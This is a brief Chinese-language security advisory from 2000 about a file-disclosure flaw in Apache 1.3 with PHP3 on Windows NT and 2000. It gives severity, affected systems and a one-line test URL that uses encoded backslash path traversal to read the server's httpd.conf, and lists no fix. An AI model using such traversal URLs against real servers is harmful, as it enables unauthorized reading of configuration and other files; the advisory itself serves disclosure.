Apache Web Server带php3存在泄露文件信息漏洞

发布时间：2000-12-11
更新时间：2000-12-11
严重程度：中
威胁程度：远程非授权文件存取
错误类型：输入验证错误
利用方式：服务器模式

受影响系统

Apache Group Apache 1.3
- Microsoft Windows NT 4.0
- Microsoft Windows NT 2000

详细描述
通过请求特殊的URL，可以导致远程用户获得读取已知文件名的信息。

测试代码
http://target/index.php3.%5c../..%5cconf/httpd.conf

解决方案
尚无

相关信息